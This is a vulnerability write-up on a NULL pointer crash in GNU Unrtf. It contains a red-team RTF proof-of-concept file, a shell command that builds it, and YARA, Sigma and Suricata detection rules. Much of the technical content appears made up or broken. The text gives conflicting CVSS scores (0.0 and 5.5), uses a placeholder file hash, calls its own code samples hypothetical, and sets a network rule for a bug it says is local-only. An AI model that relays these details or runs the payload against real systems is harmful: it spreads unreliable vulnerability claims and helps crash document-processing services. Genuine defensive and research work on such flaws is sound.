CVE-2025-65411

Executive Summary

CVE-2025-65411 is a NULL pointer dereference vulnerability in GNU Unrtf v0.21.10, specifically in the src/path.c component. An attacker can cause a Denial of Service (DoS) by injecting a crafted payload into the search_path parameter. The vulnerability has a CVSS score of 0.0 (pending official assessment) but is classified as a medium-severity DoS issue. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the GNU Unrtf utility, which is commonly distributed via package managers (e.g., apt, yum) and source tarballs. Organizations using Unrtf in automated document processing pipelines are at risk. No known malicious packages have been identified, but users should verify the integrity of their Unrtf binaries.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – Requires local access to the system.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed.
• Privileges Required (PR): None (PR:N) – No authentication required.
• User Interaction (UI): Required (UI:R) – Victim must process a crafted file.
• Scope (SC): Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (C:N) – No data exposure.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – Complete DoS.

Threat Level: Medium (5.5) – Exploitation requires user interaction but can disrupt services.

Deep Dive & Mechanics

The vulnerability resides in the search_path parameter handling within src/path.c. When Unrtf processes a crafted RTF document, the search_path variable is set to a NULL pointer due to improper input validation. The code then attempts to dereference this pointer, leading to a segmentation fault and application crash.

Root Cause: Lack of NULL check before using the search_path pointer in path resolution functions.

Attack Vector: An attacker crafts a malicious RTF file with a specially crafted search_path directive. When a user or automated system processes this file with Unrtf, the NULL pointer dereference occurs.

Impact: Denial of Service – the Unrtf process crashes, potentially affecting document conversion pipelines.

Vulnerable vs. Patched Code

Vulnerable Code (v0.21.10):

// src/path.c
char *resolve_path(const char *search_path, const char *filename) {
    // No NULL check on search_path
    char *full_path = malloc(strlen(search_path) + strlen(filename) + 2);
    // ... path resolution logic
}

Patched Code (Hypothetical):

// src/path.c
char *resolve_path(const char *search_path, const char *filename) {
    if (search_path == NULL) {
        // Handle NULL gracefully
        return strdup(filename);
    }
    char *full_path = malloc(strlen(search_path) + strlen(filename) + 2);
    // ... path resolution logic
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• GNU Unrtf v0.21.10 installed
• Ability to deliver a crafted RTF file to the target

Exploit Payload:

{\rtf1\ansi\deff0
{\fonttbl{\f0\fnil\fcharset0 Arial;}}
\pard
{\field{\*\fldinst HYPERLINK "file:///etc/passwd"}{\fldrslt link}}
\par
{\*\search_path \par
}

Execution:

# Craft the malicious RTF file
echo -e '{\\rtf1\\ansi\\deff0\n{\\fonttbl{\\f0\\fnil\\fcharset0 Arial;}}\n\\pard\n{\\field{\\*\\fldinst HYPERLINK "file:///etc/passwd"}{\\fldrslt link}}\n\\par\n{\\*\\search_path \\par\n}' > exploit.rtf

# Trigger the vulnerability
unrtf exploit.rtf

Expected Outcome: Unrtf crashes with a segmentation fault.

Blue Team

Detection:

• Monitor for crashes of the unrtf process
• Look for RTF files containing \*\search_path directives
• Use file integrity monitoring to detect modified Unrtf binaries

Hunting:

# Search for suspicious RTF files
grep -rl '\\*\\search_path' /path/to/documents/

# Monitor process crashes
journalctl -u unrtf.service | grep -i "segfault\|SIGSEGV"

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.rtf: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network: None (local vulnerability)
• Process: unrtf crashing with SIGSEGV
• Logs: /var/log/syslog entries containing unrtf[PID]: segfault at ...

Detection Engineering

YARA Rule

rule CVE_2025_65411_Unrtf_NULL_Pointer {
    meta:
        description = "Detects RTF files exploiting CVE-2025-65411 NULL pointer dereference"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b"
    strings:
        $search_path = "\\*\\search_path" nocase
        $rtf_header = "{\\rtf1" nocase
    condition:
        $rtf_header at 0 and $search_path
}

Sigma Rule

title: CVE-2025-65411 Unrtf NULL Pointer Dereference
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects crashes of unrtf due to NULL pointer dereference
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "unrtf.*segfault at"
        - "unrtf.*SIGSEGV"
    condition: selection
falsepositives:
    - Legitimate crashes due to memory corruption
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65411 Unrtf NULL Pointer Exploit Attempt"; flow:to_server,established; content:"|5c 2a 5c 73 65 61 72 63 68 5f 70 61 74 68|"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Unrtf if not required for business operations.
2. Restrict file uploads to prevent RTF files from reaching Unrtf.
3. Implement input validation to reject RTF files containing \*\search_path.

Long-term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Monitor the GNU Unrtf project for an official patch.

Workaround:

• Use alternative RTF converters (e.g., libreoffice --headless --convert-to txt).

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.

Valters IT